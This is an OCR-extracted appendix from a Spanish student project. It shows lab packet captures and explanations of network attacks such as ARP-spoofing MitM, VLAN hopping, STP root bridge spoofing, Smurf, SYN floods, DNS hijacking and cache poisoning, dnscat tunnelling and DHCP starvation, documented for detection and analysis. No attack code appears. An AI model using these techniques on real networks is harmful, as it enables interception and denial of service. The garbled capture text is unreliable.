18 3.801689410.10.1.2
19 3.809464ASUSTek( ee:7¢:0b Broadcast
20 3.809554ASUST :a7:12 ASUSTekC ee:7c:0b ARP

21 3.809562 10.10.1.2 10.10.1.9 ICMP

10.10.1.2
Broadcast
Al

14 3.799029§10.10.1.9 98 tcho (ping) request 1d=0x0d45, seq=1/256, tti=64

42 Who has 10.10.1.2? Tell 10.10.1.6
£010.10.1.2 is at 48:5b:39:ef:22:2d
98 Echo (ping) request 1d=0x0d45, seq=1/256, ttl=64
98 Echo (ping) reply 1d=0x0d45, seq=1/256, ttl=64
42 Who has 10.10.1.9? Tell 10.10.1.6

.10, i 48:5b:39:cc:a7:12
98 Echo (ping) reply 1d=0x0d45, seq=1/256, ttl=64

15 3.801402JASUSTek(_ee:7c:0b
f . .

Figura E-7. Tréafico enviado y recibido por el atacante en un MitM por suplantacion ARP

E.4 Salto de VLAN

7 39.465.. ASUSTekC ee:7c:@0b Broadcast ARP
8 39.465.. ASUSTekC ef:22:2d ASUSTekC ee:7c:0b ARP

66 Who has 10.10.20.2? Tell 10.10.20.100
64 10.10.20.2 is at 48:5b:39:ef:22:2d

Frame 7: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ethe, id ©
Ethernet TT, Src: ASUSTekC ee:7c:0b (48:5b:39:ee:7c:@b), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
802.1Q Virtual LAN, PRI: @, DEI: @, ID: 30
802.1Q Virtual LAN, PRI: @, DEI: @, ID: 20
Address Resolution Protocol (request)
7 39.465.. ASUSTekC ee:7c:0b Broadcast ARP
8 39.465.. ASUSTekC ef:22:2d ASUSTekC ee:7c:0b ARP

66 Who has 10.10.20.2? Tell 10.10.20.100
6410.10.20.2 is at 48:5b:39:ef:22:2d

Frame 8: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface ethe, id ©

Ethernet IT, Src: ASUSTekC ef:22:2d (48:5b:39:ef:22:2d), Dst: ASUSTekC ee:7c:0b (48:5b:39:ee:7c:@b
EE&.lQ Virtual LAN, PRI: @, DEI: @, ID: 20

Address Resolution Protocol (reply)

Figura E-8. Mensajes con doble etiquetado 802.1Q y respuesta del servidor con etiqueta VLAN 20

La topologia de la red permite que los mensajes con doble etiqueta 802.1Q enviados por el atacante lleguen a la
VLAN del servidor, correspondiente con la VLAN 20. Esta comunicacion unilateral puede ser explotada para
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realizar, por ejemplo, un ataque de inundacion SYN contra el servidor, como se muestra a continuacion. Un
analisis de este ataque se detalla en el apartado E.6.

7 39.46524. ASUSTek(_ee:7c:@b Broadcast ARP 66 Who has 10.10.20.2? Tell 18.10.20.100

B 39.465484_ ASUSTekC 0f:22:2d ASUSTek(_ee:7c:8b ARP 64 10.10.20.2 15 at 48:5b:39:ef:22:24

9 48.46637. ASUSTek( ee:7c:0b Broadcast ARP 66 Who has 10.10.20.27 Tell 10.10.20.100

10 40,46657.. ASUSTek( _ef:22:2d ASUSTek(_ee:7c:8b ARP 64 10.10.20.2 is at 43:5b:39:ef:22:2d

11 41.32476. 10.10.20.100 10.10.20.2 Tce 642441 - 80 [SYN] Seq=J778913365 Wine=512 Len=@

12 41.32496_ 10.10.20.2 10.10.20.18@ e 6480 - 2441 [SYN, ACK] JS0q=2549348111 Ack«1778913366 Win=29200 Len-d MSS~1460
13 41,32579. 10.10.20.100 10,10.20.2 e 642442 ~ 80 [SYN] Seq~@18418515 Win=512 Len<@

14 41,32599.. 10.10.29.2 10.10.28.109 e 64 88 = 2442 [SYN, ACK] Seq=3351543484 Ack=618418516 Win=29200 Len~@ MSS-1460
15 41.32681. 10.10.28.100 10.19.28.2 Tce 642443 « 80 [SYN] Seq~@07848283 Win=512 Len-@

16 41,32791. 10.10.20.2 19.19.20.100 Tce 6480 - 2443 [SYN, A(K]Ecq-fl?]l}‘)??é Ack=607848284 Win=29200 Len~d MSS~1468
17 41,3278, 10.10.20.100 19.10.20.2 e 64 2444 ~ 80 [SYN] Seq=J959458991 Win=512 Len-@

18 41,32804.. 10.10.20.2 10.10.20.1¢@ e 6480 - 2444 [SYN, ACK] JSeq=379199684 Ack-2059458992 Win=29200 Len~@ MSS~1460
19 41.32886. 10.10.20.100 18.10.28.2 e 64 2445 « 80 [SYN] Seq=J19820638 Win=512 Len+@

20 41.32996. 10.10.20.2 10.10.20.180 Tce 6480 - 2445 [SYN, ACK] BSeqe181777888 Ack~119820631 Kin=29200 Len~d MSS~1460
21 41,22588. 10.19.20.100 19.10.20.2 e 64 2446 « 80 [SYN] Seq=J7¢089810 Win=512 Len«d

22 41,33008. 10.10.20.2 10.10.20.10@ e 6488 = 2446 [SYN, ACK] JSeq~3441942589 Ack+=270989811 Win=29200 Len«@ MSS~1469
23 41.33090. 10.10.20.120 18.10.20.2 Tce 642447 - 82 [SYN] Seq=J214617181 Win=512 Len=0

24 41.33111. 19.10.20.2 10.19.20.180 e 6488 < 2447 [SYN, ACK]JSeqe2732768192 Ack«1214617182 Win~29200 Len~@ MSS~1460
25 41.3319). 10.10.20.100 19.10.20.2 e 62 2448 « 80 [SYN] Seq=302339326 Win=512 Len+@

Figura E-9. Inundacion SYN realizada sobre un salto de VLAN
E.5 Inundacion de TCBPDU

2.828529950 :a2:50:1a:f8: Spanning-tree-(for-bridges) 09 21 Topology Change Notification
.828556297 63:41:32:7c:eb: Spanning-tree-(for-bridges) 00 21 Topology Change Notification
2.828568189 :a6:d5:52:08: Spanning-tree-(for-bridges) 00 21 Topology Change Notification

.828577918 :c1:d3:5b:20: Spanning-tree-(for-bridges) 00 f 21 Topology Change Notification
.828587533 :d5:be: - Spanning-tree-(for-bridges)_00 21 Topology Change Notification
.828596875 :d8:d1:46:47: Spanning-tree-(for-bridges) 00 21 Topology Change Notification

Figura E-10. Inundacion de tramas TCBPDU hacia los conmutadores

El equipo atacante envia una gran cantidad de mensajes TCBPDU a la direccion MAC especifica que atienden
los conmutadores que ejecutan STP (01:80:¢2:00:00:00). De no ser bloqueado, el flujo de TCBPDUs bloquea
la capacidad de conmutacion de los equipos, quedando en un bucle intentando encontrar la nueva topologia.

E.6 Suplantacion del puente raiz

12 4.1046... Hewlettpib4:“. Spanning-t.. S 60 Conf. TC + Root = 32768/0/9c:dc:71:30:bd:e@ Co: 3600000 Port

14 4.5393.. HewlettP 3@:.. Spanning-t.. S 52 Conf. TC + Root = 32768/0/9c:dc:71:2f:bd:e@® Cos 3000000 Port = 0x8006
15 4.5393.. HewlettP 3@:.. Spanning-t 52 Conf. TC + Root = 32768/8/9c:dc:71:2f:bd:eb 3000000 Port = 0x8006

17 6.0029.. HewlettP b4:.. Spanning-t.. S 60 Topology Change Notification
18 6.0038.. HewlettP 31:.. Spanning-t.. S 60 Topology Change Notification

Figura E-11. BPDUs enviadas por el atacante desencadenando un cambio de topologia

El equipo A, conectado a los puertos 6 y 7 en los distintos conmutadores, envia tramas advirtiendo de un cambio
topoldgico en la red junto con su informacion de configuracion. Esto desencadena un intercambio de TCBPDU s
entre los puentes y recalculan la nueva estructura arborea, resultando en el equipo atacante como puente raiz.
Configurando sus interfaces como un puente, el equipo ‘A’ se convierte en el nexo de toda comunicacion que
pase por los conmutadores tal y como se muestra a continuacion.

91 34.71892.. ASUSTek(C_cc:a7:12 Broadcast ARP Bgrﬁho has 19.19.1.27 Tell 10.10.1.9

92 34.71901. ASUSTekC ef:22:2d ASUSTekC cc:a7:12 ARP 6010.18.1.2 is at 48:5b:39:ef:22:2d

93 34.71913_]10.10.1.9 10.10.1.2 ICMP 98 Echo (ping) request 1d=@x1199, seq=25/6400, ttl=64
94 34.71914_]10.10.1.9 10.10.1.2 ICMP 98 Echo (ping) request 1d-@x1199, seq=26/6656, ttl-64
95 34.71923.]10.10.1.2 10.10.1.9 ICMP 98 Echo (ping) reply id=0x1199, seq=25/6400, ttl=64
96 34.71924_]10.10.1.2 10.10.1.9 ICMP 98 Echo (ping) reply id-0x1199, seq~26/6656, ttl~64
97 35.71963-]10.12.1.9 10.10.1.2 ICMP 98 Echo (ping) request id=0x1199, seq=27/6912, ttl=b4
98 35.71977.110.10.1.2 10.10.1.9 IcMp 98 Echo (ping) reply id-@x1199, seq=27/6912, ttl-64

Figura E-12. Trafico leido y conmutado por el atacante tras suplantar el puente raiz
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E.7 Smurf

4 7.614492. ASUSTek(_ef:22:2d Broadcast ARP 6@ Who has 10.10.1.9? Tell 10.10.1.2

S 7.614518.. ASUSTekC cc:a7:12 ASUSTek(C ef:22:2d ARP 42 10.10.1.9 is at 48:5b:39:cc:a7:12

6 7.614686.]18.10.1.2 10.18.1.9 ICMP id=0x174c, seq=8/0, ttl=64

7 7.615477_110.10.1.2 10.10.1.9 (0 o 1d-@x174c, seq=256/1, ttl-64
8 7.616570..]10.10.1.2 10.10.1.9 IMe id=0x174c, seq=512/2, ttl=64

9 7.617610..110.10.1.2 10.10.1.9 IcHe 1d=9x174c, seq=768/3, ttl=64
10 7.618632_]10.10.1.2 18.18.1.9 ICMP id=0x174c, seq=1024/4, ttl=64
11 7.619652..]10.10.1.2 18.10.1.9 ICMP id=0x174c, seq=1280/5, ttl=64
12 7.620674_]106.10.1.2 18.10.1.9 e id=0x174c, seq~1536/6, ttl=64
13 7.621694._110.10.1.2 19.10.1.9 ICMe id=9x174c, seq=1792/7, ttl=64
14 7.622715.]10.10.1.2 10.10.1.9 e id=0x174c, seq=2048/8, ttl-64
15 7.623736..]10.10.1.2 10.18.1.9 I id=0x174c, seq=2304/9, ttl=64

Figura E-13. Inundacion de ICMP Echo Reply fruto de un ataque Smurf

La llegada masiva de mensajes ICMP Echo Reply, sin previa solicitud por parte de la victima (cliente ‘C’),
muestra como estd siendo objeto de un ataque Smurf. El atacante, suplantando su direccion IP, envia
masivamente peticiones ICMP Echo Request hacia el servidor y envia sus respuestas al cliente. Se puede
observar como necesita averiguar la direccion MAC de la victima para poder dirigir el trafico hacia ‘C’, otro
signo de este ataque de reflexion.

E.8 Redireccion

55 16.516.. 10.10.30.1 190.10.30.9 ICMP 70 Redirect (Redirect for host)

56 17.501.. 10.10.30.9 10.10.20.2 ICMP 98 Echo (ping) request id=0x@ec8, seq=7/1792, ttl=64
57 17.504.. 10.10.30.9 10.10.20.2 ICMP 98 Echo (ping) request id=@x@ec8, seq=7/1792, ttl=64
58 17.504.. 10.10.20.2 10.10.30.9 ICMP 98 Echo (ping) reply  id=0x@ec8, seq=7/1792, tt1=63
5917.512.. 10.10.20.2 10.10.30.9 ICMP 98 Echo (ping) reply id=0x0ec8, seq=7/1792, ttl=63
60 17.607.. ASUSTekC ee:.. HewlettP b.. ARP 42 10.10.30.9 is at 48:5b:39:cc:a7:12

61 17.607.. ASUSTekC ee:.. ASUSTekC c.. ARP 42 10.10.30.1 is at a0:48:1c:b4:48:80

62 18.502.. 10.10.30.9 10.10.20.2 ICMP 98 Echo (ping) request id=@x@ec8, seq=8/2048, ttl=64

63 18.504.. 10.10.30.9 10.10.20.2 ICMP 98 Echo (ping) request id=0x@ec8,

seq=8/2048, ttl=64

Frame 54: 70 bytes on wire (560 bits), 78 bytes captured (5680 bits) on interface eth®, id @
Ethernet II, Src: 00:00:00 00:00:00 (00:00:00:00:00:00), Dst: ASUSTekC cc:a7:12 (48:5b:39:cc:a7:12)
Internet Protocol Version 4, Src: 10.10.30.1, Dst: 10.10.30.9
Internet Control Message Protocol

Type: 5 (Redirect)

Code: 1 (Redirect for host)

Checksum: @xbcc@ [correct]

Checksum Status: Good]

IGateway Address: 10.19.39.6'

Internet Protocol Version 4, Src: 10.10.30.9, Dst: 10.10.20.2

Internet Control Message Protocol

Figura E-14. Recepcion de un mensaje ICMP Redirect indicando la direccion del atacante

Tras envenenar las tablas ARP del rater y del cliente, el atacante envia al cliente mensajes ICMP Redirect con
la direccion falsificada del enrutador para que mande al equipo ‘A’ sus paquetes (campo Gateway Address).
Una vez finalizado el envenenamiento ARP, el trafico ahora es enrutado por el atacante, logrando el sniffing
unidireccional.
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E.9 Inundacién SYN con suplantacion

2 4,.571102.. ASUSTek( ee:7c:8d Broadcast ARP 62 Who has 10.10.1.2? Tell 10.10.1.10

3 4.571122. ASUSTek( _ef:22:2d ASUSTek(_ee:7c:00 ARP ) X B:5%:39:ef:22:2d

4 5.642602. 10.10.1.10 10.10.1.2 TP 6 [SYN] 675071787 Win=512 Len=@

5 5.642634. 10.10.1.2 10.18.1.10 e : B2 [SYN, ACK]RSeq=1327709549 Ack=1675071788 Nin=29200 Len«@ MSS-1460
6 5.643621.. 10.19.1.10 10.10,1.2 TP = FE [SYN] Seq-J4a58372200 Win=512 Len~@

7 5.643629. 10.10.1.2 10.10.1.10 Tce : 384 [SYN, & Seqe3288385175 Ack=~1458372201 Win«=29200 Len~0 MSS~1450
B 5.644648_ 10.190.1.10 10.10.1.2 TCcP G 3 [SYN] 030160121 Win=512 Lensd

9 5.644655. 10.190.1.2 10.19.1.10 1{4 & L 05 [SYN, ACK])Seq=146612445]1 Ack=2030160122 Win=29200 Len-@ MSS-1460
10 5.645670.. 10.10.1.19 19.10.1,2 Tce 6 2 [SYN] S 62537317 Win=512 Len=-@

11 5.645676. 10.10.1.2 10.10.1.10 TCP § 326 [SYN, (J]Seq=2792290108 Ack«762537318 Win=29208 Len-d MSS~1468
12 5.646650. 10.10.1.10 10.10.1.2 {4 6 3 [SYN] S 223482635 Hine=512 Len=d

13 5.646696.. 10.10.1.2 10.19,1.10 TP - 2307 [SYN, ACK]JSeq=3946359545 Ack=1223482636 Win=29200 Len=-0 MSS~1460
14 5.647710. 10.10.1.10 10.10.1.2 TCP 6 492758755 Win=512 Len+d

15 5.647717. 10.10.1.2 10.10.1.10 Tce ACK N Seqe932975524 Ack=1400750756 Win=29200 Len-d MSS~1468

Figura E-15. Envio de segmentos SYN por parte del atacante y SYN-ACK del servidor

El atacante, con una direccion IP falsificada valida dentro de la subred, envia segmentos de sincronizacion al
servidor e ignora los mensajes recibidos por parte de este (segmentos SYN-ACK). De esta forma, al no terminar
el handshake de la conexion TCP, el atacante logra saturar temporalmente los recursos de la victima, dejando
los sockets en estado SYN-RECV.

E.10 Reflexion SYN-ACK

10.0000..
2 0.0000..

10.16.1.2 10.10.1.9 TCP 60 88 -~ 1130f[SYN, ACK] Seq-240641408/ Jck=256064665 Win=29200 Len=0 MS5=1460
541130 > 80 [RST] Seq=256064665 Win=0 | en=@

1131 [SYN, ACK]| Seq-1647308007 Nck-582301844 Win=29200 Len-0 M55-1460
541131 » 80 [RST] Seq=582301844 Win=0  en-9

1132 [SYN, ACK] Seq=1178721272 fck=227594717 Win=29200 Len=0 M55=1460
541132 - 80 [RST] 5eq=227594717 Win=0 ' en=@

1133 ck=1848221134 Win=29200 Len=0 MSS=1460
54 1133 » 80 Seq=1848221134 Win=0/ Len=8

ACK ACk=496020548 Win=29200 Len=0 MSS=1460

4 0.0019..
5 0.0040..

7 ©.0060..

9 0.0080..
10 @.0080...
11 0.0100..
12 6.0101...
13 9.0121...
14 0.0121...
15 0.0141..
16 ©0.9142.. 10.10.1.

54 1134 » 8@ [R! Seq=496020548 Win=0 Len=0

1135 ACK] Seq=606518802 Ack=766705887 Win=29200 Len=0 MSS=1460
54 1135 » 80 [R! 5eq=766705887 Win=0 Len=0

1136 ACK] Seq=4140269373 Ack=1581744316 Win=29200 Len=0 MS5=1460
54 1136 + 8@ Seq=1581744316 Win=0 Len=0

1137 ACK] Seq=4124140216 Ack=755917356 Win=2920@ Len=0 MSS=1460
54 1137 » 80 [R! Seq=755917356 Win=0 Len=0

2
9
2
9
2
9
2
.9
2
9
2
9
2
9
2
El

Figura E-16. Trafico recibido y enviado por la victima en un ataque de reflexion SYN-ACK

Como sucede en los ataques de reflexion, la victima (cliente ‘C”) recibe trafico no solicitado por parte del
servidor, que esta respondiendo solicitudes de sincronizacion con la direccion IP del cliente. Como estos
mensajes no se corresponden con ninguna conexion de ‘C’, este responde con segmentos de reseteo de conexion
al servidor, ejecutdndose con éxito una reflexion SYN-ACK por parte del atacante.

E.11 LAND

Figura E-17. Trafico correspondiente a un ataque LAND hacia el puerto 139

Como se puede observar, el ataque LAND consiste en inundar al equipo victima enviando segmentos TCP de
sincronizacion con la direccion IP origen, IP destino, puerto origen y puerto destino iguales (concretamente, el
puerto 139). Esto bloquea completamente los equipos vulnerables hasta que finaliza la inundacion.
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Anexo E: Caracterizacion de los ataques bajo matriz MITRE

E.12 Reseteo de conexion
10,

496 152.

498 152.

867163.. 10.10.1.

867447...

2.875897..

.879282..
.883133..

66 46486 - 22 [ACK] Seq-2846723746 Ack=605380747 Win=29312 Len=0 T!

66 22 ~ 46486

60 46486 -
87 Server:
54 46486 -

[ACK] Seq-6853307d7 Ack=2046723767

22 [Psu
Protocol
22 |

Win=29056 Len=@ T!

Seq= 201572*16/ Win=0 Len=0
(SSH-2.0-OpenSSH_7.4)
Seq=20846723767 Win-@ Len=0

Sane20ARTIITRT
Seq~2046723767 Win=@ Len-@
, ACK] \vq ()0'\38011./ Ack= 2‘)1!’1}2‘]/4 7 nu""] Len=0

A AR 22
54 46486 - 22
54 22 + 464 18!,

.883444 ARR = Winefl | oned
.89118¢ ..
.92307. .

2.923092.

512 158.955239..
513 158.955702.. 10.10.1.9

1v.1v.1.9 10.1v.1.Z

10.10.1.2

1Ly

SSHv2 87 Client: Protocol (SSH-2.0-OpenSSH 7.4)

Figura E-18. Trafico capturado e inyectado por parte del atacante en una conexion SSH

El equipo atacante, ubicado en medio de la comunicacion entre cliente y servidor como se puede observar por
la duplicidad de los mensajes, envia un segmento TCP con el bit de reseteo activado, finalizando abruptamente
la conexion entre ambos (recuadros azules de la Figura E-18). Tras su recepcion, el servidor asiente el reseteo y
finaliza la sesion. Como consecuencia, el cliente se ve obligado a establecer una nueva comunicacion con el
servidor (recuadro amarillo de la Figura E-18).

bb 4ba8/ » ZZ [ALK] Seq=ausil/P15 ACk=Z8Y9b15b68 Win=29312 Len=0 T!

E.13 Fraggle
1424 0.321736269 [10.10.1.2 10.10.1.9 Chargen] 1066 Chargen
1425 0.321740142 |10.10.1.2 10.10.1.9 Chargen| 1066 Chargen
1426 ©.321936003 |10.10.1.2 10.10.1.9 Chargen] 1066 Chargen
1427 ©.321941817 |10.10.1.2 10.10.1.9 Chargen| 1866 Chargen
1428 0.322141605 |10.10.1.2 10.10.1.9 Chargen| 1066 Chargen
1429 0.322147362 |10.10.1.2 10.10.1.9 Chargen| 1066 Chargen
1430 0.322345896 |10.10.1.2 1€.10.1.9 Chargen] 1066 Chargen
1431 0 322350249 |10.10.1.2 10.10.1.9 Chargen 1066 Chargen
10.19.1.2 0.1.9 I ‘ achable

S

1.2

1.

1.2

2

able |(

chable

achable

Figura E-19. Trafico de un ataque Fraggle hacia el puerto 19

La llegada masiva no solicitada de datagramas UDP al equipo del cliente muestra un ataque Fraggle hacia el
puerto 19 (servicio “Chargen”, recuadro rojo) del servidor, el cual refleja las respuestas a la victima. Los
mensajes ICMP finales muestran el bloqueo temporal de dicho puerto por parte del superservidor xinetd al haber
saturado sus recursos (recuadro amarillo).
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E.14 Amplificacion/Reflexion DNS

412 18.3)71Lw s 166 Standard query response @xeas5 A - A ~

413 10.53718.49.9.9.10 10.10.1.9] ONS 86 Standard query response Oxese’ 142.250.185.14

414 10.53718.377.88.8.1 18.10.1.9) oS 166 Standard guery response OxeaeJA google.com A 173.194.73.139 A 173.194.73.138 A 173.194.73.113 A
415 10,53873.4 208.67.220.222 19.10.1.9] ONS 86 Standard guery response OxeaeSJA google.com A 172.217,17,14

416 10,5394 81.1.1.1 10.10.1.9) ONS 166 Standard query response @xeaeJA google.com A 142.251.16.113 A 142.251.16.100 A 142.251.16.138 A
417 10,53894.4 77.85.8.1 10.10,1.9 ] OnS 166 Standard query response OxeseSJA google.com A 74.125.131,102 A 74,125,131,113 A 74,125.131.101 A
418 10.53895.4 208.67.222.222 19.19.1.9] DS 86 Standard query response @xeaeSJA google.com A 172.217.17.14

419 12.53895.49.9.9.1¢ 19.10.1.9 ) ONS 86 Standard query response @xeasSJA google.com A 142.258.185.14

429 19.53895.41.1.1.1 10,12.1.9] OhS 166 Standard query response OxeaeSJA google.com A 172,253.115.100 A 172.253.115.139 A 172,253,115, 1&
421 10.538%6.41.8.0.1 10.18.1.9) ONS 166 Standard guery response OxeaeJA google.com A 142.251.163.138 A 142.251.163,139 A 142.251.163.10
422 10.53596.49.9.9.9 10.10.1.9] 005 £6 Standard query response @xeasSJA google.com A 142.250.200,142

423 10.53896.0 77 .83.8.8 10.12.1.9] ONS 166 Standard query response OxeseSJA google.com A 74.125.131.1090 A 74.125.131. 13‘3 A 74,125.131.1€1 A
424 10.53896.377.88.8.1 10.10.1.9] DS 166 Standard guery response OxeaeJA google.com A 64.233.164.100 A 64.233.164,.102 A 64.233.164.101 A
425 10.53914.948.8.8.8 10.10.1.9] ONS 86 Standard guery response OxeaeSJA google.com A 142,259.184,174

426 10.53915.462.76.62.76 10.10.1.9) ONS 166 Standard query response OxeaeJA google.com A 74.125.131.102 A 74.125.131.138 A 74.125.131.101 A
427 19,54062.41.0.0.1 10.10,1.9 ] O8S 166 Standard query response OxeseSJA google.com A 142,251.167,101 A 142.251,167,138 A 142.251.167. 1@
428 10.54082.477.88.8.8 19.19.1.9) DS 166 Standard query response @xeaeSJA google.com A 108.177.14.138 A 108.177.14.101 A 108.177.14.113 A
429 10.54083. 5 195.288.5.1 10.10.1.9] ONS 86 Standard query response @xeaw 216.58.210.142

439 19.54883. 1.9.9.1 9,1¢.1.9  0hS 166 Standard query response OxeaeS A google.com A 172,253.122.100 A 172.253.122.138 A 172.253.122.13

Figura E-20. Respuestas DNS desde multiples servidores DNS hacia el equipo victima

En la captura se puede observar la llegada masiva de respuestas DNS (todas ellas preguntando por la resolucion
del nombre google.com) no solicitadas hacia el equipo ‘C’, que esta siendo victima de un ataque de
amplificacion/reflexion DNS.

E.15 Secuestro/Redireccionamiento DNS

15 5.0618.. ASUSTekC ee:.. ASUSTekC e.. ARP 42 10.10.1.9 is at 48:5b:39:ee:7c:0b
16 5.0619.. ASUSTekC ee:.. ASUSTekC_c.. ARP 42 10.10.1.4 is at 48:5b:39:ee:7c:0b

17 7.1153.. 10.10.1.9 10.10.1.4 DNS 84 Standard query ©x38cc A servidor.tfgpractica.com

18 7.1153.. 10.10.1.9 10.19.1.4 DNS___84 Standard guery @xe8ee AAM servidor.tfgpractica.com

19 7.1172...'19.18.1.4 10.10.1.9 DNS 180 Standard query response @x38cc A servidor.tfgpractica.com A 1@.18.1.6'

20 7.1174.. 10.10.1.9 10.10.1.4 DNS 24 Standard query @xe8ee AAAA servidor.tfgpractica.com

217.1177.. 10.10.1.4 10.10.1.9 DNS 130 Standard query response @xe8ee AAAA servidor.tfgpractica.com SOA nsl.tfgpractica.com

227.1292.. 10.10.1.4 10.10.1.9 DNS__130 Standard guery response @xe8ee AAAA servidor.tfepractica.com SOA nsl.tfgpractica.com

237.1430..110.10.1.9 10.10.1.6 74 48174 » 80 [SYN] Seq=209335861 Win=29200 Len=0 MSS=1460JSACK _PERM=1 TSval=2441534 TSecr=0 WS=128
BRI 54 80 » 48174 [RST, ACK] Seq=8 Ack=209335862 Win-0 Len=@

Figura E-21. Trafico enviado y recibido por la interfaz del atacante en un secuestro DNS

El atacante, tras envenenar las tablas ARP del servidor ‘D’ (10.10.1.4) y del cliente ‘C’ (10.10.1.9), queda a la
espera de recibir la peticion DNS de ‘C’. Tras interceptar estos mensajes, el atacante, suplantando a ‘D’, resuelve
el dominio “servidor.tfgpractica.com” con su propia direccion IP (recuadro rojo). El cliente, intentando
establecer una conexion con la web del servidor legitimo, recibe un mensaje de reseteo por parte del atacante,
que actualmente no aloja ninglin servidor web (recuadro azul). La Figura E-22 muestra como, ante nuevas
peticiones del cliente, el atacante sigue respondiendo con su direccion IP hasta que finalice el envenenamiento
ARP.

17 7.1153.. 18.10.1.9 10.18.1.4 DNS 84 Standard query @x38cc A servidor.tfgpractica.com

4

18 7.1153..__10.108,1.9 10.10.1.4 DNS 84 Standard guery @xe8es AAAA corvidor, tfepractica, com

19 7.1172...' 10.10.1.4  10.10.1.9 DNS 100 Standard query response @x38cc A servidor.tfgpractica.com A 10.10.1.6
4
9

20 7.1174.. 10.10.1.9 10.18.1.4 DNS 84 Standard query @xe8ee AAAA servidor.tfgpractica.com
21 7.1177.. 10.10.1.4 10.18.1.9 DNS 13@ Standard quer‘y r'esponse Oxe8ee AAAA ser'\.fldor' tfgpr‘actlca com SOA nsl.-
22 7.1292.. ard _gu ! a.com SOA nsl.-
23 7.1430.. 6 74 48174 + 80 [SYN] Seq=209335861 Win=29200 Len=0 MSS=1460f SACK_PERM=1 T!
24 7.1430.. 10.10.1.6 10.10.1.9 54 80 » 48174 [RST, ACK] Seq=0 Ack=209335862 Win=0 Len=0
259.6111.. 4 84 Standard query @xa@dc A servidor.tfgpractica.com
26 9.6111.. 18.18.1.9 10.10.1.4 DNS 84 Standard gquery 8x88Th AAAA servidor.tfgpractica.com
9
a
9

27 9.6172..[10.10.1.4 10.18.1.9 DNS 100 Standard query response @xa@dc A servidor.tfgpractica.com A 10.10.1.6|
28 9.6176.. 10.10.1.9 10.18.1.4 DNS 84 Standard query ©@x80fb AAAA servidor.tfgpractica.com

29 9.6178.. 10.16.1.4 10.10.1.9 DNS 130 Standard query r'esponse 0x80fb AAAA ser'\.fldcr' tw‘gpr‘actlca com SOA nsl.-
30 9.6292.. £ ard_gu ] g, com SOA nsl.
74 48175 + 80 [SYN] Seq=1201563720 Win=29200 Len=0 MSS=1460f SACK PERM=1 -
.16.1.6 le.10.1. C 54 80 » 48175 [RST, ACK] Seq=0 Ack=1201563721 Win=0 Len=0

31 9.6387...
32 9.6387..

Figura E-22. Resoluciones de “servidor.tfgpractica.com” en un secuestro DNS
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E.16 Envenenamiento de la caché DNS

16 5.0617.. ASUSTekC_e.. ASUSTekC.. ARP 42160.10.1.4 is at 48:5b:39:ee:7c:0b
17 5.0617.. ASUSTekC e.. ASUSTekC.. ARP 42 10.10.1.2 is at 48:5b:39:ee:7c:6b
19 7.7633.. 10.19.1.4 10.10.1.2 DNS 95 Standard query @x8lef A servidor.tfgpractica.com OPT
20 7.7635..10.10.1.4 10.10.1.2 DNS 95 Standard guery @x3f80 AAAA servidor.tfgpractica.com OPT
217.7692..1 1.10.1.2  10.10.1.4 DNS 100 Standard query response @x8lef A servidor.tfgpractica.com A 10.10.1.6
227.7695. 10.10.1.4 10.10.1.2 DNS 95 Standard query ©x3f80 AAAA servidor.tfgpractica.com OPT
23 7.7698.. 10.10.1.2  10.10.1.4 DNS 141 Standard query response @0x3f80 AAAA ser'v1d0r' thpr'actlca.ccm SOA nsl.t
24 7.7772.. 1.2 1.4 .com S0A nsl.t
25 7.7897.. .1.9 .1.6 74 48176 - 8O SACK_PERM=1 1
6 7.7897.. 1 1 54 80 » 48176 T ALK] Seq=0 Ack=2719668943 Win=0 Len=0
1 1. 74 48177 - 80 5eq=1980602423 Win=29200 Len=0 MSS5=1460)SACK_PERM=1 1
.9654.. 1 1.9 TCP 54 80 » 48177 T, ACK] Seq=0 Ack=1980602424 Win=0 Len=0
1 1 74 48178 -» 80 Seq=4041322425 Win=29200 Len=0 MSS=1460SACK_PERM=1 1
1 1 54 80 » 48178 5T, ACK] Seq=0 Ack=4041322426 Win=0 Len=0

Figura E-23. Trafico enviado y recibido por la interfaz del atacante en un envenenamiento DN'S

La captura mostrada en la figura es similar a las que se pueden observar en el apartado anterior (Figura E-21 y
Figura E-22). No obstante, se pueden apreciar ciertas diferencias. En este caso, el envenenamiento ARP se
produce entre los servidores ‘S’ y ‘D’ (10.10.1.2 y 10.10.1.4, respectivamente), resolviendo el nombre
“servidor.tfgpractica.com” con la IP del atacante (recuadro rojo). El servidor ‘D, al tratarse de un solucionador
de nombres con memoria caché, guarda esta respuesta durante un tiempo determinado. De esta forma, cuando
el cliente intenta acceder multiples veces a la web, el solucionador ‘D’ responde revisando su caché y no requiere
preguntar nuevamente al servidor ‘S’ (recuadro azul).

E.17 Tunelizacion DNS

464 414.814147. 10.10.1.9 10.10.1.6 DNS 215 Standard query @x53c

466 415.815422.. 10.18.1.9 10.10.1.6 DNS 215 Standard query @xf2b

467 416.816672. 10.10.1.9 10.10.1.6 DNS 215 Standard query Ox27b5§TXT dnscat 69758363-168000080631(061709337{158940259963123f76dfdean26be
468 417.817912.. 10.10.1.9 120.10.1.6 DNS 215 Standard query Ox3bl

469 418.819174. 10.10.1.9 10.10.1.6 DNS 215 Standard query @x88afjMX dnscat.cB8ad@36a440000000081c0d17d9a37£1589Fe259e63123F764fd0a5d26be.
470 419,820419.. 10.10.1.9 10.10,1.6 DNS 215 Standard query Ox672fJTXT dnscat. 4&588}634&%00069031(9‘11709337415896:-25%63123!764%035626%
471 420.821664.. 10.10.1.9 10.10.1.6 DNS 215 Standard query ©x236af1XT dnscat, 973£036344000000008

Figura E-24. Extracto del contenido de las peticiones DNS en una tunelizacion DNS

El contenido de las peticiones DNS, pese a parecer cadenas pseudoaleatorias, se corresponde con trafico
encriptado sobre este protocolo que establece una comunicacion entre el cliente y el atacante sobre el puerto 53.
El prefijo “dnscat "’ y la aparente aleatoriedad de las peticiones denotan una tunelizacion DNS.

E.18 DHCP Flooding/Starvation

1 ©.0000.. |0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID 0x1b7883bc|
20.0002.. ASUSTek(C ef:22:2d Broadcast ARD o0 Who has 10.10.1.127 lell 10.10.1.2
30.4521. IE0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID 0x3d1bald|
40.4523.. ASUSTekC ef:22:2d Broadcast ARP 60 Who has 10.10.1.16? Tell 10.10.1.2
